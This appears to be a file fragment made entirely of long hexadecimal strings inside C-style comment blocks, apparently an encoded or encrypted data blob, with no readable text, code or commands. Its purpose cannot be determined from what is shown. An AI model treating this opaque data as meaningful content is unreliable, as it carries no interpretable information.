9fffe4174a9e2690c643547b63f02e4ee9e043d97e2ce4bfbd57011c6e870b374469b08de3ad6bcf9adb51f3f9510ba3ea042887c49b9b7123c6e1a5280ea4338e935a5c8d2c497488664aaee2d790a14607b2b28cc8870790f66bffc181b9e42b00a72a23cd65a23f207c3b686046c0daba1bbe75642c0b3c54bbc1442197eea38e8b9234e1695bf58b197146f41df3fb7c8f7fdc545c0bb3ab667191154a080170c57bedb1b40ac6a888943bde6700dc2f25239f51d72c3e2115cc5a3c63f05ef635564c875d57edfab2d67d79e0a4effaf83ea3e541ebfe1aa437a931ebdc639f814773d858ac4015a520ec406699c8c62ac0d2279b78de4037e74771dd14e0c36c2dc639ab359d3beb51804429815f53d1d552d5dfc0030d6d6412bccb9add45bd2171da0bdb3b6c9f7bc48127f8333395b8856edd082a459f3c5e2eeb53959c382ade913ef7eac4ddad1a7825062a4874af7345951bb9f84bfe7d9890bc2bb3bac5e7c285adb2a00622588501ac45d37d35188d722521f2ecbac8ec588351d55e2f33b2ef80d75745904720bca4cd0834973565d1ff6cb30edc16d9b3f06d881c45e759272c0554bafe5977944603cc75592ab598e26e38eec3eaca5a76a99ff959ba82f9cbd5af6b2c810f1f9aeff97757f187b4538f483ccde7dba65276ca3c0741ff724065ee95dcd63227a59918990eefb644b74fccfd1feca27cfbb98b731f327c5b1ee64ccd259a78a2677b62614011868960d2e19aee86adcf3beb69cb458bc21305faf7278c33f6291e2b552b3f90f116d4004f8056a8309ac9373680628a5971e3f75130192939dcba65e03bc619d881e25b777c11dbf6678736412278c4378cd0e18eeeefe1ec669c7b6edfe25b0cc8b19ac7a267d0ee8236d3019ff6210e1531c6a72ee6595682bdc072427082433dd1bb64206856ce1a27bddc1f7be1abbfde42242a97420aa720bdb5e132c4d3a607ad6ba63ff0bfa976ac1fafbc14a8cd04dd50e84b32c69224eb8c77bcf6bfdd906511e1b6d992d00ef4c51c3b5bfa92d8737a3789194b608937067c1d92d5adaf18346df03061446f3ae7cc03dc42e50cd5e37cdbb83df9d810b2e85e718ecb068cc387f8d3ad04b6cbc2cf093cfcc83c7459ab81727d741bbb9827966988b42d7b1b56f1b37f49d9c832c1873dfe2733050bd192db6221a46e91cbe68e4905ffa1e341ace47a9c36981813d1c5bef95f1f70608fde72ad907169097033d833e148fe3f9d7113e29ea16d8547ea224eba0c2c75d88ea666ff6b2ac1085e0bf86420fcbc042ef07a45b76c27bf77ac5030decc72dc334cdf1a861e49a9ace1e301c84dbb596cef4aebfec38983a25c2c8d782c2c5543117f13a42ac92f409fe72920aa080ed7a300a8c03a6af194131868486a57eacfa2947f5516863d8129275d0da91c78f01307708500e994f776d49f0c6f6c16efee15a5b05fb57ede057425bef5f0497312cc0ae92b2321dd1eb93470cd113a410d24b305ad93e6a51c58f59a43310f637e3aa3d707fe54bbca0aeb55bc33463b684f6defc0ade749a9ef57fc60ea1f37b65bd22fc978d30bc8714eb0c1380051eb0e6a1e29b1dab3f481e36da30e722098b0b08e251137a28117de1da875441ec318b79dc9eef1a2524a4c2e13d5412f09716ce00f9e9b383e1cac892ddbbf4de69d250d8c5bdf315d40eb8b6a8e75694c3438b810cdd408c43c1eb9a4064df35417745e1b593c4cc7287738f83cba7ef9736d7c7a73253623b107271d16894611f2dd6e8cb6b483537edd52fd2871fe0dc1a97222ed62b744430eb6a4c0720460a88ec06c269fb4c5621f3b9f6b90f8c27ed0f5fabc282f09e1b300d9977909423f0b6bb4bc8ab80c17a9d3f0f9987785b3878c3766f77968a0358b49858951e63ab1151af5268da35b83824f11eec9b4a3b91d0f2a23032b78dffe72d47e2d99ecde2c4594fa05d9bbb90ec61a619f8bed9b28aedfddd89488c37b5bc5e2f97525f1f6dddce7ed12170fb6e6f57a72c86c6615186e9b7989*/
/*be4727d74a98d4eea1f88dacd3f9ed8ac17dd5cf970e6ac7086b63ea239721f882aaf6e22c8a430dfb96119594fda1e9cb1e77ecda322dd9da288bc1c98bb038046647020d944ee8a2584fc95f4f964466815cdea7c1749b57aec70b3bf70aae1bba388e8c1d95d5b3cd40aacbfcf5b5d3df2a6062af4a4a9ca8dd34a71c4869f32370e8a6080e148123843f92a5f6edff0a4452186d247e5b5e08d607368f9fc73c8823fc39bae2b1228757106f59ac028631d04b2ce4b8b0c20695a6324ab47eb5149d484bacccb08ac4149a83fb7369190a448539c0744f6dc3f80403d55d06c9e5e39b09dcaf90ef2c269e867038711e3c99e866c22b33fbc3f92e412150b82dcf7d438874be72983dfe07ee07db98ed765e2ecdac0a6e58b958157bd63b1336384588744459de89518eb538634ac0cde00b66746f94cc60d4f3476ddb803629e591a3c40315dfdb1b9a5bf08b845a751898a14b45fe022412036ff7ebfc83b33318b1209a0ac696512d308850fbc86f12b758583090df4d5f042b9b936498c9ae800c4f9d2583f6858fb347ac6d25ab546448498de611dca29ad4f4bc5884fe9c28bf1345bc51bed48e25fe1c7b4c9ed3ee3a4094f4e4914ae1e9f2bba4001391344e415fe2f21bd714114b5b1ebff5e4af7eb2c28a9870a2900adefd67f83300a7cac87c45b80dd7140de501c26f362bade37be3f02eb05e90a8df4d173bd2a0f302db0ba7558fe9fccf0acd1b9287a2c86a803b69d0b32d50628f8972ab261b26dd703d2cd322a1bcd43d208fa1c2c65a79cb25d8d9fb9200635372e81f36585e28d8d1de8a81555b51d17a62e08ce6fd4f755da35b801ff49de9e299146d0a8756f6a0d4438d136fd99bfbd37d6d34afba7569f377a13ba3c21abfeb724e9ba1ee270493acddbfae0239b062ce71c6d44c6fe0396186554cb56786a7136600d944d9d50d9a4f26bf27f53b13b2a045c34599acaaad013272d68da0e3e6e2c4ecfe52e054821e2f405a58caa573b291a69e91b35a2e78267030e0e6f11778f6a0d44051602ff2e5c0a59868bd5d6a93a992d6bda71532c58e15d5576fcb63cf90c4ecd577abb5c07481408a2b2ad246a20e225847e2325bdaff86585bfe911fe691fdd887774561efcbfc8713986a3eb65a82491d8b7a406f8fb5465a0e4dda7c1b7190af7be4a111584f642071a166e3eee443c63f915d7ff7d7f54e38a84884c256a293c35a1f97d930a84c54a612383f1d53f48471b9d61708ae61b2083f03d75452c182049d7cfe5f2a606a6fc04a8b72fca6ada23544ad06e7be47e61dc79de900985343f1935b2b15d899bd1042eca6bc2636682e7c5fc3e9b6a753ce5a1cda40a13866450415e703d3a59cdd9b12be4d45cb184cdf0189941cd3e304422b4bb9d8bd77c09615a04e989ebbc91f55f312042ed398f4bc9fe34466b686fe4799831073d0ed5de72b89be3f5cc686e30275f9bb4040a4f1a7050c8ab518a4e09bdaef38497f79faed14615c757dc2f9dcebe92da5edc553963d83835d37a6cb65ccc2294e0b64b91d317718a4d7dfab970c457465833b427dc0e845d812efae66d9da18074fe6d404a7a4ccbd6ff5548060c1d0cd1514c64bcea60b6688442dde96cc2440c7cba4de80bad11b8326d042f5e5fc0895a639dc96895826bbd181ee3c06024b95719109671dedad1e6fc1048801c4a9e23899b98732f00fe43b52c4ad94886bddcd54a6f5a9c0e9bb250aa0c495f6972437bebb7c1f59ab3f84d560a1a94a34aba875bea396060eef63203eca59e68162b1bd0e643e8dbac4a7b6127525e9071d08edd94eb8e0378acbb6ac3b68da63774cda8a7512b20f49ac4f759156b6071a738c27be98e15aaa2139473f2128b41cf41789ddfd2db50623e2bccff59f1290b60a0d8ef40cd56e95b6cdf89808bc4277a9a993c6e157e6c12c642cfe308fd3111fee2e62efa0b403a362c54c8aea3c463660662036a2b4dbb72b0c4b319581435312f8f83011086e88dab1dab21731f0a2fd1a70c2893f787c66316f20063753b5e9a0edf1fa5d550ddc2b4ffc6d2d7c163e1f9b6eaf99ba4245462f8f618e18085e931d36b8f694ca64fa51d2271aa62abfeea80e91948533d495587711fa6d160781ab7bca3765aa77b156008ad3bdbaef9a3a84d5cd11a5e4904b4fbc48fe75bced7f7253e61c8989cfe123064ed1597b8e1f68e0080f382bc9913cb447916eff9839f92be32ec1d7ebe29b5af4e3ac118b58ef8d2fc94837d7fcb46b985a81ae7c99486e669f7756d9718c75cf7057e52f10137fd11214b1654233d0c086fbbfb36bf0f7d7e087677a4aceda835989117da55bb6e14eb47a6c7ebdf02cdb7ec6e003f202ae02c844ae1cefe8e1a43350ea858e54e3176b1ef9072b9a55223115381870813a612578791783c58601016711bd5950de2d98591b3d6f86cdbb1e2923feece0586c9b0a551138681b19671bc5096459e4f4d553b14ba015388d45bf5796a8eb3f4ea626695dec976787e915660b953f15a97096f25f4c3d0761cf6f09831d667f03c6977f28f345e3e61a54a6d6e5f0936cbec48b6c3fc6326dc1f1c4c118b2fea5a9037faa33daa5b03ba021405dd73b2b15197a7046f573fb6888712feef845de284282736bda58fc5903adf79d64843f3e575f6ad74e1ab41a7663e590d4f6b96049f4d6706444209ffb2d60fa272e2ec966c3daf12c10663d642d18c0d83a30a75dadbfa59ad2f4903950dbcbfc0d50f0603f8cde1dc18b4d5103b520f7585e8469fc48c713ecd587bc4fbf9e42c55d0edc9f4173eaddd1c0e30085*/
/*27a21b74499432985b3e541711c0b4914f35687d48820820ab935951c22633dfaedba887de75306ec41b3e573db9528a7e28e337bf8513553d4c16d7f2aa3e4a8facf7778baa0b685c32d041632b1d654f4f298ad0421105b2558af0ae855d879856cb309124a296e3f208e81c19d6bb17ab80216542ba364669f8f5eb6238f12c11239eb78713f53f841ea84ac7aa78535ca1ecc62354235e4f99475a8aa5993e1e6d007ff9d606bb66128b49b2d2beb4bd17efd2e51743d24ba94468b70136572de63c1f078e768782f65f801fa1c83296571bcc00869bd75ed330b62fd35edf6fbdb1a2bcfd87650c54b41f1f00b15643d1f0a60f3bf57aa138d16ff9f0a5712f111ba2ce3d0aebd9ab9cdb38b011c601501a6b0345349df291b193c51db65dbd0a0a5848e6025c85a7119db1c1459ca967fc43277025b9b167131e4caf1977d99c5d22801d485a1fe2e4adf4aa55e3b501fd99a2995ba3ec2a89008d90d5a1b8c3e15cb996227df6d5260cb01bef16d346d23c4e2ed7e8f85451203c1bd68df544e14bc1eeedd0c6d8f28a0e1738b598f89ab77822ee1c953ebddf408c9dfe0e35b86ceee1ed35ba26319af6434dd655c5506f80414c715aa5b9341fcc0975fcb55878b7e4292b7a1cd5ec8be0b2a1cd6afd587dfbf023dd565aef6a7a1b536727846c2175e55225d2d6df8f055a15965775a760fec9680a11073f05887fd67e9e6aa2c2a6d523c8078f41ba452c8e60f98daf2526f9f18ad6b52089904a97229428e42b812812861eb1829e8a2879446e8f6b46c2836025de9f9342865f2518e14b9e70d4ba1cee03e6fde32a5101aaa67a88119ae956a8b1ad628282bcf7558f42c1a56d6f3575139ae5ba6fbbbd8218125f718a6c879280957596715586fd260e8fb83ac0f45e9e0806c3bddaab3095af87b4db4e774c0358a078da3d9b048b70ed2a4f99d29eddbee54af4c6294e7704d61ba14e8415a1d460466a880748f9629c41215b83dac2b5b5562c96b219bf33ffeacdbfe57c17653fd25b898ee490aa35af1f3a6e334b41913f8d42f766095c3a46e2a2850f2501b4cdfc92e80b0d7df9aa19c02956824224ac36c16de93bcfb2c0042ebf1056bb7f495532cfb642ddd0b5065ddfb866872c01e7ae34e21d84df4642438bc2b9a82555c6ac9dc5a353365def638d81edf1488c0f2e7218f60e64db0244b44de765a2b28d4738c9004d490adcfbe6a33185d5d9391c33f2c031e1d04585df8fdc142bb81e3fa6f8046468a2f5ee6c1e375d68d57e3145404ba9be6b3f6e336726872c59907857cddbcce0de8107a1b1db309a8f912e6c1aed076bcf64a3a66b49f014a578fb2bef94926d8c00162fa66774a709f837acc5c59c1a597cd8db6d3d89f0a8f109e529603ff63f9f971b0490a303d3473655d29e6048ec7284454e3c5f59f32af55170b8a5d933197504264e0979885da0f64e89a7b25f51dc3bc83e6613f509f46a389439b237625ada0308855171041777b7a40dabe4bde176ae1d5249a147583f2cb1cb6fffb9b1a196f45ed3c4cca5a94448fc75d3513e5fddb55900175014c35b8e7b8c6a74b2d2b46a9e7e7d86d8cda4a3558b1bd2d53703f6209a955ebffb289349da44ad13866caada447dbee235b5e77023f20b9361d5488d41da4061c2e9d994dc308b1feb90df10b92a6726098a004c6c9e14c4c560adf0352200fba3a021ecd5861bbf51bf54ae0149aac9c0778b7ffc9cf5727d8c6192a3f1c4a066da8cb02cbb4daddbc2da0505ec8e280b01d702a4d24dfc90a1fda1ba09ac1783cc88028cfaf1aeac6134ebf183b3cd9f4acd35ac8d227dd1fbafe2da0e7416220a4eb44afd7f95d66a4f76885fd07477ec35c2ffe7fbcf87fc683970dfb9854ebf69fd720f55aeedf11c2712deacff4dd0e0e9271151d5f009096d37e878d58d1b0b2237cb90101486d216092be652eb063bde630db2d42cf8e6cfca0cd2bfb0f45ac023871b5a0150ee56688bb95181722027594fce941c6932efd91079a574fe891eecc29fa7b623865c6f1bb7658f746d1905cdacac400ac86dad9f33844b9582d6165f8dcccec8356f370bcc57456d9c322e0a2375631cea994ed56650556a2bc9f6960bab0bbad70c301b88c84b90a71182839888e7477a7ee756d50e4bef6ce47254970becf15fbcfd52bee53b10a599534c7c10d35422b9b3c6c183257a71a971178a81580452d2551925d5ea028e868660785a4b610f607ef031e645794ccc9173e0e1fe8abed463f83f7fe51fafeb1c61c92c1199dfa8ceb23b5045dd466c9b711efffae705e61cc8012a03cc51cf9a262459bb9b63f28c61cccc6c329d296d9271a6ca8e268308891e8a02de34c1a006b20fd2cc7414b45aec2dbb05baabbf4dd9a8fd53811b8e57fcf574a0d1088c49cbcd7e20a680de24ce9369868c1d6be8af48b71ed04072ed899a865d463ed4d05d1b2804bb4e72aec185e394cef659eb190a81d5f83568d9058dc390fa902a32927434a18eee293005049a841c95b936c6b9762dae76cb994de7e96d222d7abc6d4709423142c8afed5b34ed84100099098bf78216a97e7d776ca212110c995e63add3c9868adb9df5aa2770fb5a799dd990645973e7427e54badba0bdad938e06d4f6bf299ca7f146037404457d579d12c69f3c8584087e9dc880cd78b6e71c1b0eb6370924704fed8c5335643587f6d8c405fa777e9023bdc1e26abe2de139886a3eb6e3e7ee47ab601cfd073c45b13645b6b9f4f4dec19e08cc00943d89122712e4902d7c6ef35b8c95ebcbe9e26fcd5cb6c80cbadca3d40e*/
/*62267867765adf04f08db9e253645413949ba218bdee86047ca5b3ad58318f29d19e43b139936dfbb8c3690b0538f07f613f8cdc169150bc0d0761cefda8517f6c23bcfe5e853ef6faf52727f339674f7cd4219e1592c04ce807ff5fc26984f4b3c2ad9886d22efd0b83f37aec67cda3d8764718653910c2248cccca808fd0039256bfc82098160e846123b4b1d7feac5ca15947ac7c4af0ed28222ae1d4045178a5bcd0954863def59f904350450a59d2671495c0127180fe9931005eb3235b633cbc29b75dffbc0fdcee508ac3a272e6e11924a33888c1e408abb6fb1193e160aa16025ee7ef7195a31dd68e51eebde0ac5021cebca54f9459f547a610ea6a3f38f31d0d2c2f4cae7727497fac0b5567af89a0b380083a049c471185b17cbbf490406e47deff16e0dfc2374acaab39b0fb5a629456786ca87a5106088428cc4e5652f89fb1823c5891ff477dd98c64517aa4dbf195075d5c0b0301bccfd78607f1f815d63d0ca4d25aafcedfab312f605bb7080b839477d2f45db3ca6ee219b6d035268edb6ae5721f6542903d11a869ef492d31077cf2d4870319d78ef650b70480ea9a36c4b1c2fb8bd843d1082770fa36b39d64a29e1c5e70db542d5c9f0777cb6f2000dfdc0086bfffa9bf6d0a4662d220646ce3d3840d142097fc989595ebcbe9b649dbdc837790622077fbe45bb7de37fb4aa4de1f48cf8b9b21b076ff245652af919df6d793a1b72f12f84e10c6f625eecf8e21c9502d18e7b439f7d11ae890b70fc6db36d9ddecd10467fa12fb035de4e3347acaf82af2c6bcc981887d9bedd859cf463f3fa1ae865ddb6257f555015fe22a92ee3594576b8f477b28b3b5fa6b91a45f7816151c4fbf2c17903e0bdd2b52f37865791fd22016c671b270c6d1bec84d7d71805169a9e5c1228e4a46b6dafed94b16042e4088053aed4e073f6ae608ed8f88bbb8b9b255075191008399095c5591cfd94488d935d16572d14f1b84f0ee2e1837d1e3cf8dcbbb1a2b78cfc57b516f1b2f98368abdff5e4d5f4016ad94b14d8fa06f05137a8e541ebc797e2050c60535307d18b5c09d848c4c127d4de9044ca973999831b82720d3c4458009872470f619cbb6c9603d54a5dc860458c92208b2bebadc5e31d0754df73ae462f7702d451f2cae9c0ae610db4e393cf37331dde7171ed128523946c523f78ec9d6cf62d2ac7f7c28276fb425cbc37a72e49bb1f7f32607c7683f389b6bcf2fa15f644d51010e74f038d69e3414b467c3d995eaef8d8354ade5be55e8bfa126587c7a14dd0b6f3c92a3ab1d9f9cfe9c5c744b2506c79195437fcd8773389d9b182f968281a0158ab18045424cb7c7cf9fe4e4f9830c5cfd6f74dfc69e28c4e6eb2ffc071b02ee892a725043667bb0f5c033956491e6a935609c35816a9532aba0e958701bf9d6c8f850b2f0287fd0b8eec518333bd03d555d5e47c24ad5bb45cfbb18f406a7d62e864aa3608ce762e6a7d6f3163f9686d4973f4a79873cb2357a10654d8f7bde67500a595edafca08db320fe0b80a6e1dfcda0717e2f2175f358eff78a9ea571226f3ac77a96a5320dfd1e8ea6dff3ade04efd89d616045fa9603abc99ba4d8326fe23d107739753a69a15b43f9a44bcfd3e8b333cfe781fef5a019fa4cd66105858f50c9047cd2b4c1a5787af3aa8d75d44288fa2e8a5a89f9c2b1742a1976145201d724d897b144dd9df0e1ee3af3989459fa75144134032b9b7e076ffd0c3f87b13d0fa32bf475b0864ea3f04970a836d93a7a468f49ba022b1c2ba7b9b5a66ca7935acd033a48928e5d51c8f12e0b0683bfd720c0c95eb4c1bf724aa382f2619aa5b7e51ed82e24117eb9144473354556dfd4abec3f6dca3b427f25d7c1344e31e19081e74b4bc24ff647c41a61b92fca5bf93c58d903f40727cf44cedc08a3e4f5db13161b11a2d414b4ea021c1ad4d4ebeff9a8fdd6d2576469332642508d7684d389aa3fd3014374a55f839e10845c1d32f43f386bf30c6300ffda021177f81725eca5ef62f3589220bb676e9bdd30d1fb618982b9e6723cf52eb558dd50e7d11407c0de8854270df5c2690b06cadeb3a3ca7ee337feb202733cd7abf422c9713e50805343e5713a0775a09fd89f4510e65220aaa4f538d35ac02f7439332577d1ab4132ad2577376915d909393aab21437b0caf6ec2372aae49ccd6f02b5ce2db0ae875b7e5494dff6625980215c6656dc17b0efb8a9a393736b59c8e5110e441bbf91aba7c2365308cdf5245511aa522030bcd10b4b4a50260bb8cc5456258a277a4259204df1c065ca2ee044e9f232506c5e88f6d749c2b02cf5e23d1c39130b60e3f004dc8c9d35c74f33967b817e76611a76311fcfb24fbc1bedbb0d8ea62e8e3d7073eff0589588e4849a7db29a17d99945ead942a77040494e5121a95b18ef3deb633653c9a5f58981579221bcfeb4c75b0042df1d332109a4fd91dab77bf799272d20b90dfbacc9fbae164c28543086924677ffbbf362666d83ed6391386e7a2bb5be9a30ceebd53f15cba987b9962c51139076f1f898c583bb08a015ddf9755b7398efae73b18b2df3b3ccfe22082d33e04763507e9af345ae10c0a86ec47e970e6813ab5fa3278e63e90b4ed920f43257ee5d8dfe506c7843e0ce1b2824934f6e6fbcb8a4e6cbb0e6f08620897bfb307cfc81f72ea9cbc5be2b9a601264f773ddae33684165be59f05fcb846f77e18d49bbd0ab42730cceacdaa79e28ebd3f4253dba582fa2c1ba3405e72655b28327c561d3cb5f4666624703db01fc9628608840c5e4eb221bb48aaca461bf*/
/*923a0b6573ed72f7ed14761c686a20d3bf0a3e52b5f9806caf7af125babd8af665931b83787015bc9780b15474dd4020e84d490e214d2c8e5df03eef9c0b3926e79b6790b24b33b9f3574ced6f88aed490fa8582bfd605a1a9d395ecfcae18e27f2e58343df29e57ed054e670d8c06688edef3cfbbd06817ba4bcf3d083c7af870a5d649cac787f50e104df35e08b9e13e4314477b9e4fec76ac24d08e7575044322e89c108097342d3ddd9ab46f19d1a84e8f684ff546e786da562b132f7b93b15bc26889a1d0fe701f390558085ba954c0bbc4bd20a1ef8ce8bf42b037fabbdb551daca2fe965fb5b1ba1c50f16a312aff2f0e2d74178c6878ca2a1afd3fe4b67da2c0b48d88ca87043db5a5286a4f2d54b642478f8143031ef2b025a9831ab8f173ec1f366aa5293001dc3d37db8a35b2b2f9f349f98041d6f3f476aaa81b6aea815bfeb5cf279310461c57c846f0db5b8016c80ca4b5fa4b62f86be3c8d796a69a3ebc2d75c1fc20ee7e3f8a380e0ce00d3d8dcef0ba677b9c7cf5389a9cd377d706c20894dcd5afb3a5ba5b757e81f608c4d0a068d5ef3c60f2cceb631021bc65bf68f39121e970c44b7e7946d7fb8c7e9a13b0efc251b9f4e1519de0ff8ea02dbe17f4118bb81eb31b19f648bf9282ad9211bfb2fc4e8c6f290bb2201d9f5ccacccec24596ec70998c82dff5fd76157aaeef3303a4fc138facee7b1b5dc13a8cb7fa8375a9f591ed85e7f9792e89950760d98879fc3653132cdc6e931de5552fd3acda3a3aaff55ee3decf288672167ce90de6be45850e2ac1fae6ca53f5f57baac97346e8959460569a6cdd13e48142d0ff652a5e0c46a0bbf60ad9077948257543ce67ce4928638f84cd157462553df444795fea0bcd57218b25352de3382e48aaae9ae0b76b7c0a961c6fca9073aabba73c4dba8af109b70873cf4dba79d4f694eaa4c595b01bbb5a3e778893e7a3dbf916dc07831ea3f2c36d3e75368deb42665a9233536c29df07fd3d62499ed0f0d9bb1a7370aa6fa458e7fb26589c76b1739beebf67ef6b78c6553fbb567a7b07e1185e0280ecb120b958a0635370b00b5c1eeee4cbd0a236156758ae3677297a231245f010060994b2e7f54dd6400070a3602246b8419fcb52d74e3811a53fa846e59924be66569b026e4ae8c857a8886cf4e0c857ae69afbea7f2c45676961bc68d2f609526c10ad76dc1c9f24cb4a0637faa798109a21599c2ad850116992038e9c6287674c23e873b12b21ca7ae8edb7cc6ab3604fb0a7d42bd468086341d392f3005904467c08a6dd1f9849456e71545b36ed1248179935091bcaf8c49e76a107417bcbbf666bc315336106d81b020f181620e38b65c01b43d68686f6cfa4821fb4da0c2c841a8266db0cd9e78969a2fc637b153d089cce0717485bbbb35a7e359269260ad47103f8ef20409167420ccf1af2f9eff213d8ea123f383c39f331927dd794f222edd30d16cc91f5b249cc56c937dac14f706ae7b4d9ef7623d29670e4f0a30b6426fe3734be231f60d6e86a7370c02797da3e3af30d2a2084be24d973de4003b9099f65a17dc1902bc2a434bdf67af28ec201c30ec8d8b016046c6021e308ccf9697954d846a1db1e6a5c89f420549ec5ea39c98b307d9282e87b8d6855d87865ce378aef1ac94a8afe0f69d345b812bdbbd9dd61935d8e22901ec957836937e30557712b98d0102cfef49558bb9353014ede75bf08e7fcb273544e29772eb460283296f947a9673807419c6ecd20b3ab12e675ee9c7c0a4ae5cf2781731b9020c2ad4ec8336f16bafa9432432fea37dbe061616f61d7a8343f3bd06f27a5a0c461dd350dc1a77b075eb749db1a0af5317fec3fcaca3307e61373620b7d0b72aaa7d29ef44386b5fbbe883b1932aad561fdbacfe9a0a32e26a6efc2d157675b0bc565bef83cfaccba17558bd5b0913b6c4c430f29fe3d791d9a008790c513eb9c4fd170da985c38cf17712d0548cd649e126e8ff51dd3f917d618e382fec95dd38cd7791c3aa0a165a286c6ae56c413749ae07ebb1cc9d6c3f7a495be9a45dd19b229ee953dcce95ddcccec52f1191bb1914a16de6b26fc515ca399c09dc205d50fae8710243acd5d2c2d6c3fbe553463525630f076ebd532990d701e82940a5f3572d90f404bad6ef7dde7cb3abee9fedd73edecd2eff8c6403fab0fb53c0648bbece697095a00841d1d33dd26a828716186494ef7d3e03a96baa8a6c98aa79349e70dc2d4cec66100750285929200160a92c31c20128eeb312805511ec190ec36a88404ee8b84e729108e21f0a7a728849eb46e379c2c163252edd903c19cbc71636a07210b4e031936bc6fc33458d24b6a91e3d2d44416cc85a18faa26080b814f3bff1ebc7e9f7ad6a2ed8863a3902f0964d6d3b4921abcc994e195bbd852145661f5588d4d338cced72e97f3f6b1cddfb939a0a626e903a30facd5d074e4f23f7f99614d69b292b5fe78b8a460bc88e495178d940e502826580cec84d7e7d462b43dde5260e15c34938290581c4dacbf907640ca90d3d893a7a68abcc30f8fda8ec4e9f5f0e5b092c60efc5b12eb210b4eace14761c85baf42798cc00c214ae3d4fc8cbfee5292f4ea2e4af263f573f5991ef002444f47c4b818fc8721b8b2a9e13d9199afc79d8a43b58bc3d26df14f8c1eebdb45f638003961edbb6d004f2ae3eec88606d2be0c6f156e2cac27e6072b50243fc31054be70f269f2590172f9d2ee6dfa127c5b4b121b9dd7905c13be6d08bacc2542a32d599cb02c8bbe8d75158bd0e2cd13b2b97234d29ccc70e8eacdb8d*/
/*cf0322bd0ffe96c3904e16022db33e08ff9c4bf822f39347c0afe2d27fef028633e4f65df606111fd4f00170118d308c6b2a76fd3e8556e971e40b3066aeaced8ad40053f3b812df32635bba795f3d5d896bdc31fbdae21bcd3fb2aed73baec76281e356a629182e101c175d1b72b341d26453afb432f8fd2e4aa0c18841e4a9df55c10da0303566a1902a080850522c13106ff828ea79d7b213ca1a4476cf7e8f23c21ab5d34196632e789dae98e7645b94f0f8ce3108e020d5fec70d1a52c426977ea406c0a6077c46a388bfdd223bfc893b08d4f735d3a00e1783e095532718c2270d57bbf75d327e1ebda170ea51ff3a68aa8f5198733e516d6c8fdc1efec4e66e5aaa1302fe314824758412cb5e960ad9dc2fc8f4004a68c24c1d418bd675aeeb0131107858e4a6801c1ccfe0f22e3f023238bffe6e17cdbf2a385135a274f184c2d056984752e36cdb8dc6fbfe55864173c760e7b67c912384142d9ca2ae493ea6e8a13e3f4cf8374eadfb9e0c0da0e181fc1ceee91517df2c9f233df898b08c529bace5ad4c94436855e13ff1c0160c84e7d4ba3c81f9b803d4ee95f8aa051edabd6107abf703a280f920b94d516cba6fdc4eafa5e4a57fc3fdb2ac51be7515307657e5be12bccf8ad820a262bee20b70fdf689eda8ce858dc9988de152e84d22af5f8f273d2ace9bc4b872857b0fe9a6de3cc1fba6c11056cd47e1920ecf4108f84b870b498d3f6083d0d783d3a92cc28404eb3d9aebc466f75380cd97876d4e0fe209e64115a12171be929fdd991b851c99831dc3237380c676a1938bb220411b1f1f969f48729d8f653ceeb5a10e9027d5a0c118f4c47533c7debe13b343b3efb9025854628bdf9e5dbbc81dfcd8be52115150ad48bbd5c288d4110a95d678e5b89330eba810967c1c8bc500226c263d71aa52c4aa6f5c693003c38b3040695cf8a0d47c3634cf1da989982d0517994ef52035cf5cd082479c1c14cccbf433ab5f0b1943a9163c2e20ba078082a24d9c85a9c217a5e02664f561e3d09151fa7c0f2601f8e5002642fdf7d6f5f816f861fc419224dc40a38cad65ed57a9e86d4f96c94d8c99b8eb8cbf14d89dfdcc1c7740fac37119d6341886643d33bc3a850799f86a7cb989bc624df767a8f9858326c3306f59bb373cbade94ad44fc49fa5a1b16870d514a03d518d79401543986d74d0186ea491bb7492f47cc38f42ef5110c1ad99640a4bc0e27ae18321cb6498d323fe5adc5b54fe8cfb2d1159b09ed0d2a809f972931289f0369a03532f00f4bbbb82c7c241cfaec86213b03082d93a74193df4a4787878f636b3beb5b5a5f2bab3e460f338556350e22e09be2984bc3350cd61011d6d6ddba8a9ceedd8927a3f6358abd06b4d2a44d45967093868d6a7eee69102baa3b663930c9b2d2e6fd8b588fbb20820cfbd00bdba0b2d30062c4437964bb2300ee3eb48363acd20474f599fbb896860134ccfcb83bb9a2b176e945486fb96692335c11f1b5847e403c95b7eb49d212c8df426d2e4f1100f5e96ce5da523ca51f5346c6203612685bb97ab859aa98ca42a6f5fc7365749bd1bc92211ce1d004e3e1eb0220c29c0cd09a9acac7f96f1ebc113b8fdc0d20554c2af8529449505e9bc58d9d4a5de0177977725d07d158533011863a0afd6c04acf058661db0be07bf328527086abb27a322a126e8c26ffd00581eac3b37715b1fa16291401a265d8ed6be5851a805a742c99864fe0f8e39016339f959ace95b493c8d599bbbe62b815536497e510235aad3e3a93b374ee4c462a5b30a86a318d22b386143147cce175f5a3c29166227dc946700ae507c0a8de9f5ec289bd89f579b7c13c5a40653ab2db42098e170fa2e47b2ae0f82c3117ecc06d5b1747246a2d05e6ef7707d4db3abb588d48c295513b7a354ba94799c7ee28fc560acc1d3913beeffb54b685ed8b168d394e944cf096c5dcbb11ee6efea3d92e15392171d0438af196732e7fb0c50961ac20b3b6109002930924e9cee302b89226e68e893ce7871e94c5fa086b5bae4292c1253b5eac6b98920dc62e808ac855053e7c20876e42514f29ede1159fff12177bae72d869415fd57f59088d2fbd59cff18fec8d64dfb6754eb5b1e766f1ebb27ef4b6a24053473c344bc37b0644c2ddda188bf802688aa5f0d69e4d8bf488c3afd9f4c38853afa6a0347f728c4095e73ef64b00752fddfb6a099f45f1efb72c33af8f8f1feff3d2b8477fe27f6cfeddb8e0407334f6ab155b40f11266b6a0980f9a00cc70150ef8fb1fdd610b94e7e7b9a86eb53d3307e8eaf694174fd67401c8fe4d68388944059cad489b4b95d3cca2f4cf51bda0864dfc8f404a6284db1771ff663b17edec497fd27b6d912109523e096508764a2d22eedfac50cb85e94ae3dd1c5e7255fa97bb07293a4c3c133ae5e8194e1f221d27f10605702b8b22f9e7969e62c982c37e02d131487bf7c8d25d4d63e87be07b748f97b3b24d95ecd15007d69ea9460292604730b346efa29ba750b857c5bb3da836318439e6d3f0056946c282adea44ce0c1a804007f914bd3e876e99e8c16fa0a019571569be2e82cbf72a955cb07b556f55fb3bce6f2ef545748f7c651bb9aca627f257ab22eccef1793fe6915ed8406785b40ab6d0b7330644e07eb018e80e325ad8ff04249fdfd9a2bd32333c5ca0dbf5a8036828950c42f4061a7ddc144a48dd2b307ae2019d543a1b7715e50b4f019c6f2bad9c27416994edb9e8f36d0102eba88f943fdf21f3d68d8913a61fec26f1d9cd8cc8213d6a561301f58bc1b9efb65c3da5b62514142*/
